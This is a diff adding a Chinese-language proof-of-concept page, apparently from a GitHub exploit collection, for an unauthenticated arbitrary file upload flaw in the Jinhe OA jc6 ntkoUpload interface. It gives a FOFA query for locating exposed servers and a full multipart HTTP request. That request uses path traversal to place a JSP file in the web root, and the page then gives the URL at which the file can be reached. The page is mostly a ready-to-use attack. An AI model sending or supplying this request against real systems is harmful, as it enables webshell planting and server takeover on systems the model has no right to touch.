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+## 金和OA_jc6_ntko-upload任意文件上传漏洞
+
+金和OA jc6系统ntkoUpload接口处存在任意文件上传漏洞，未经身份认证的攻击者可利用此漏洞上传恶意后门文件，最终可导致服务器失陷。
+
+## fofa
+```
+app="金和网络-金和OA"
+```
+
+## poc
+```
+POST /jc6/ntkoUpload/ntko-upload!upload.action HTTP/1.1
+Host: you_ip
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
+Content-Length: 392
+Accept: */*
+Accept-Encoding: gzip, deflate
+Connection: close
+Content-Type: multipart/form-data; boundary=----zqulxi4ku42pfmoelvc0
+Connection: close
+
+------zqulxi4ku42pfmoelvc0
+Content-Disposition: form-data; name="filename"
+
+../../../../upload/xicxc2sv1n.jsp
+------zqulxi4ku42pfmoelvc0
+Content-Disposition: form-data; name="upLoadFile"; filename="xicxc2sv1n.jpg"
+Content-Type: image/jpeg
+
+<% out.println(111*111); %>
+------zqulxi4ku42pfmoelvc0
+Content-Disposition: form-data; name="Submit"
+
+upload
+------zqulxi4ku42pfmoelvc0--
+```
+
+![image](https://github.com/wy876/POC/assets/139549762/5961c079-2af6-4449-aa69-b5cb30ecb4b1)
+
+上传文件路径：
+http://you_ip/upload/xicxc2sv1n.jsp
+
+
+![image](https://github.com/wy876/POC/assets/139549762/8fd1879a-11ab-4dde-9821-665d3e6ceb49)
+